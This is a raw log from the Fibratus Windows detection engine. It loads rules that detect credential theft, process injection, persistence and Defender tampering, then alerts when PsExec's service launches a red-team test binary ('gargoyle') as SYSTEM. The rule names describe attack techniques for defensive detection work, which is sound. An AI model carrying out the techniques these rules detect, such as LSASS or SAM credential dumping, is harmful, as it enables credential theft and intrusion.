from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_suspicious_child_process_integrity_level.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-04T16:50:41+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-04T16:50:41+01:00 level=info msg=bootstrapping with pid 312. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-04T16:50:41+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] mail=>[ use-template=>true content-type=>text/html to=>[] enabled=>false port=>25] systray=>[ sound=>true quiet-mode=>false enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-handles=>false serialize-envs=>true serialize-images=>false serialize-threads=>false] + eventsource .................... [ buffer-size=>512 enable-audit-api=>true enable-dns=>false enable-fileio=>true stack-enrichment=>true enable-threadpool=>false flush-interval=>1s enable-registry=>true enable-thread=>true enable-mem=>false enable-handle=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-image=>true max-buffers=>36 enable-net=>true min-buffers=>16 enable-vamap=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 level=>info log-stdout=>true formatter=>text max-age=>0 max-backups=>15] + output ......................... [ elasticsearch=>[ index-name=>fibratus healthcheck-interval=>10s sniff=>false enabled=>false servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s trace-log=>false timeout=>5s gzip-compression=>false flush-period=>1s healthcheck=>true template-name=>fibratus bulk-workers=>1] http=>[ serializer=>json enabled=>false timeout=>5s endpoints=>[] enable-gzip=>false method=>POST tls-insecure-skip-verify=>false] amqp=>[ passive=>false exchange=>fibratus tls-insecure-skip-verify=>false exchange-type=>topic durable=>false delivery-mode=>transient vhost=>/ enabled=>false timeout=>5s url=>amqp://localhost:5672 routing-key=>fibratus] eventlog=>[ level=>info enabled=>false] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty]] + pe ............................. [ read-resources=>false excluded-images=>[svchost.exe] enabled=>false read-symbols=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false skip-files=>false excluded-files=>[] fastscan=>true scan-timeout=>10s excluded-procs=>[] enabled=>false skip-mmaps=>false skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-04T16:50:41+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-04T16:50:43+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-04T16:50:52+01:00 level=info msg=sending alert: [Suspicious child process integrity level]. Text: Event(s): + Seq: 7762236 + Pid: 756 + Tid: 14424 + Type: CreateProcess + CPU: 1 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-04 16:50:48.0035878 +0100 CET + Params: cmdline➜ C:\WINDOWS\PSEXESVC.exe, directory_table_base➜ 3f0dec000, domain➜ NT AUTHORITY, exe➜ C:\WINDOWS\PSEXESVC.exe, exit_status➜ Success, flags➜ WOW64, kproc➜ ffffe48451b92140, name➜ PSEXESVC.exe, pid➜ 5652, ppid➜ 756, real_ppid➜ 756, session_id➜ 0, sid➜ S-1-5-18, start_time➜ 2025-11-04 16:50:48.0035878 +0100 CET, token_elevation_type➜ DEFAULT, token_integrity_level➜ SYSTEM, token_is_elevated➜ true, username➜ SYSTEM + Metadata: rule.seq.link: 1762271654162022108, rule.name: Suspicious child process integrity level, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 756 + Ppid: 968 + Name: services.exe + Parent name: wininit.exe + Cmdline: C:\WINDOWS\system32\services.exe + Parent cmdline: wininit.exe + Exe: C:\WINDOWS\system32\services.exe + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [C:\WINDOWS\system32\services.exe] + Session ID: 0 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-04T16:50:53+01:00 level=error msg=unable to parse PE exports for module [C:\Windows\PSEXESVC.exe]: open C:\Windows\PSEXESVC.exe: The system cannot find the file specified. source=symbolize/symbolizer.go:246 +time=2025-11-04T16:50:53+01:00 level=warning msg=unable to read \Device\Mup\ARCHRABBIT\admin$\PSEXEC-ARCHRABBIT-035F7811.key from raw device: runtime error: invalid memory address or nil pointer dereference source=ntfs/ntfs.go:47 +time=2025-11-04T16:50:53+01:00 level=info msg=sending alert: [Suspicious child process integrity level]. Text: Event(s): + Seq: 7763313 + Pid: 5652 + Tid: 14732 + Type: CreateProcess + CPU: 1 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-04 16:50:48.2212598 +0100 CET + Params: cmdline➜ "C:\Fibratus\redteam\gargoyle\main.exe" , directory_table_base➜ 137bbb000, domain➜ NT AUTHORITY, exe➜ C:\Fibratus\redteam\gargoyle\main.exe, exit_status➜ Success, flags➜ , kproc➜ ffffe48451e7a140, name➜ main.exe, pid➜ 16640, ppid➜ 5652, real_ppid➜ 5652, session_id➜ 1, sid➜ S-1-5-18, start_time➜ 2025-11-04 16:50:48.2212598 +0100 CET, token_elevation_type➜ DEFAULT, token_integrity_level➜ SYSTEM, token_is_elevated➜ true, username➜ SYSTEM + Metadata: rule.seq.link: 1762271654379706648, rule.name: Suspicious child process integrity level, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 5652 + Ppid: 756 + Name: PSEXESVC.exe + Parent name: services.exe + Cmdline: C:\WINDOWS\PSEXESVC.exe + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\WINDOWS\PSEXESVC.exe + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [C:\WINDOWS\PSEXESVC.exe] + Session ID: 0 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-04T16:50:53+01:00 level=info msg=sending alert: [Suspicious child process integrity level]. Text: Event(s): + Seq: 7763464 + Pid: 16640 + Tid: 9000 + Type: CreateProcess + CPU: 1 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-04 16:50:48.2334794 +0100 CET + Params: cmdline➜ \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1, directory_table_base➜ 18c105000, domain➜ NT AUTHORITY, exe➜ C:\WINDOWS\system32\conhost.exe, exit_status➜ Success, flags➜ , kproc➜ ffffe48451d8c140, name➜ conhost.exe, pid➜ 14108, ppid➜ 16640, real_ppid➜ 16640, session_id➜ 1, sid➜ S-1-5-18, start_time➜ 2025-11-04 16:50:48.2334794 +0100 CET, token_elevation_type➜ DEFAULT, token_integrity_level➜ SYSTEM, token_is_elevated➜ true, username➜ SYSTEM + Metadata: rule.seq.link: 1762271654391922684, rule.name: Suspicious child process integrity level, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004 + + Pid: 16640 + Ppid: 5652 + Name: main.exe + Parent name: PSEXESVC.exe + Cmdline: "C:\Fibratus\redteam\gargoyle\main.exe" + Parent cmdline: C:\WINDOWS\PSEXESVC.exe + Exe: C:\Fibratus\redteam\gargoyle\main.exe + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: ["C:\Fibratus\redteam\gargoyle\main.exe"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-04T16:50:55+01:00 level=info msg=sending alert: [Suspicious child process integrity level]. Text: Event(s): + Seq: 7771550 + Pid: 2036 + Tid: 4004 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-04 16:50:49.1103243 +0100 CET + Params: cmdline➜ taskhostw.exe, directory_table_base➜ 2a526d000, domain➜ NT AUTHORITY, exe➜ C:\WINDOWS\System32\taskhostw.exe, exit_status➜ Success, flags➜ , kproc➜ ffffe48451227140, name➜ taskhostw.exe, pid➜ 9456, ppid➜ 2036, real_ppid➜ 2036, session_id➜ 0, sid➜ S-1-5-18, start_time➜ 2025-11-04 16:50:49.1103243 +0100 CET, token_elevation_type➜ DEFAULT, token_integrity_level➜ SYSTEM, token_is_elevated➜ true, username➜ SYSTEM + Metadata: tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 1762271655268754684, rule.name: Suspicious child process integrity level, tactic.id: TA0004 + + Pid: 2036 + Ppid: 756 + Name: svchost.exe + Parent name: services.exe + Cmdline: C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\WINDOWS\system32\svchost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T16:52:29+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-04T16:52:29+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-04T16:52:30+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-04T16:55:17+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-04T16:55:17+01:00 level=info msg=bootstrapping with pid 13764. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-04T16:55:18+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false] eventlog=>[ enabled=>true verbose=>true] mail=>[ enabled=>false content-type=>text/html use-template=>true to=>[] port=>25]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-pe=>false serialize-images=>false serialize-envs=>true serialize-handles=>false] + eventsource .................... [ enable-thread=>true enable-handle=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-net=>true enable-registry=>true stack-enrichment=>true buffer-size=>512 enable-audit-api=>true flush-interval=>1s min-buffers=>16 enable-fileio=>true enable-dns=>false enable-threadpool=>false enable-image=>true enable-vamap=>true max-buffers=>36 enable-mem=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info log-stdout=>true max-backups=>15 max-size=>100 max-age=>0 formatter=>text] + output ......................... [ elasticsearch=>[ servers=>[http://127.0.0.1:9200] enabled=>false flush-period=>1s index-name=>fibratus healthcheck-timeout=>5s timeout=>5s bulk-workers=>1 gzip-compression=>false trace-log=>false healthcheck-interval=>10s template-name=>fibratus healthcheck=>true sniff=>false] http=>[ enabled=>false serializer=>json endpoints=>[] enable-gzip=>false method=>POST timeout=>5s tls-insecure-skip-verify=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] amqp=>[ routing-key=>fibratus url=>amqp://localhost:5672 passive=>false exchange-type=>topic vhost=>/ delivery-mode=>transient enabled=>false exchange=>fibratus durable=>false tls-insecure-skip-verify=>false timeout=>5s] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] read-resources=>false read-sections=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false enabled=>false skip-mmaps=>false excluded-files=>[] excluded-procs=>[] skip-registry=>false skip-files=>false scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-04T16:55:18+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-04T16:55:21+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-04T17:01:55+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-04T17:01:55+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-04T17:01:55+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-04T17:02:03+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 